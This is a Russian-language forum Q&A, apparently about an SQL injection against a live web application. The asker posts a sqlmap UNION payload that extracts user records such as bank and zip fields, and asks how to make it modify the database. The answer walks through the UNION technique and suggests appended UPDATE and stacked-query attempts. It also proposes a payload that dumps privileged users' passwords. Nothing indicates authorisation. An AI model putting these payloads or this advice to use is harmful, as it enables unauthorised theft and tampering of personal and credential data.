Имеется запрос который вытаскивает данные пользователя с БД.
Сам запрос (SQLMAP):
blabla' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT
CONCAT(0x71786a6b71,IFNULL(CAST(bank AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(zip AS CHAR),0x20),0x71626a7671) FROM base.table
LIMIT 12,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Вывожу какой вид имеет полный SQL запрос:
SELECT * FROM `table` WHERE (SUBSTRING(row,1,6)) = 'blabla' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT
CONCAT(0x71786a6b71,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS
CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row
AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x71626a7671) FROM base.table
LIMIT 12,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#' LIMIT 100
Требуется написать подобный запрос для изменения данных в БД.
Пример:
Update table SET row="";
И вывожу SQL запрос без Injection
SELECT * FROM `blabla` WHERE (SUBSTRING(row,1,6)) = ''(Код injection)# LIMIT 100
Каким образом можно изменить данные в этом случае, вообще это возможно или нет, так
как я пытался по разному изменять запрос но в ответ все время получал ошибку синтаксиса
либо другие ошибки.
Ответы
Ответ 1
Для начала разберем, что происходит при выполнении данного кода.
Первая часть запроса (до union) выбирает некие данные на сайте/веб-приложении и,
по всей видимости, выводит их на экран. Судя по второй части приведенного SQL-запроса
(сама инъекция), данные первого запроса, отображаемые на странице, находятся в поле
под номеров 18 - на это указывает конкатенация в скули из таблицы table - некие данные
из 13 (limit 12, 1) строки этой таблицы лепятся в одну строку и выводятся на экран
как раз в позиции под номером 18.
Перейдем к оператору union. Данный оператор используется для объединения результатов
работы нескольких команд select (выборки данных) в один набор результатов. Обязательное
условие для его выполнения - совпадение количества столбцов в каждом select, примерно так:
select 1, 2, 3 from base.table
union
select null, null, null from base.table
Отсюда такое нелепое количество столбцов в скули - нулами "добиваются" столбцы, чтобы
select сработал.
Теперь непосредственно к проблеме - каким же образом можно изменить данные и можно
ли вообще.
Насколько я знаю, MySQL не позволяет производить update данных в подзапросах, следовательно,
через приведенную скуль изменить данные в базе не представляется возможным.
Второй момент - наличие возможности запросить произвольные данные через скуль не
дает никаких гарантий того, что злоумышленник имеет права на запись в БД. Как правило,
столь серьезные дыры в безопасности встречаются весьма редко. Тут очень велика вероятность,
что сама по себе команда на запись/обновление в базе не осуществима, даже при условии,
что найдется такой заковыристый синтаксис, в который можно будет вкорячить это самое
обновление.
Помимо оператора union можно попробовать вариант через or:
select * from table where (substring(row, 1, 6)) = 'blabla'
or
update base.table set row = "" where ...;
Вместо ... необходимо указать условия, если не хотите изменить все строки в таблице.
Данный вариант едва ли принесет какой-либо результат - см. пункт 2.
Как уже указали выше, можно попробовать воткнуть где-нибудь (либо после скули полностью,
либо после рабочего запроса) символ ;, однако, это вряд ли поможет - символ просто
отделяет один запрос от другого. Скорее всего, выполнение двух последовательных запросов
в данном случае приведет к ошибке.
Ну, и самый, как по мне, логичный вариант - а зачем вообще производить update, если
только это не тестовое задание, целью которого является именно обновление строки в
таблице? Имея на руках скуль через union и поле для вывода данных на экран всегда можно
попытаться выудить нужную инфу из БД, включая данные пользователей с высокими привилегиями,
чем-то вроде такого:
select * from `table` where (substring(row, 1, 6)) = 'blabla'
union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(select user, password from information_schema.users
limit 12, 1),18,19,20,21,22,23,24,25,26#' LIMIT 100
Естественно, поля, названия таблиц и схема могут отличаться.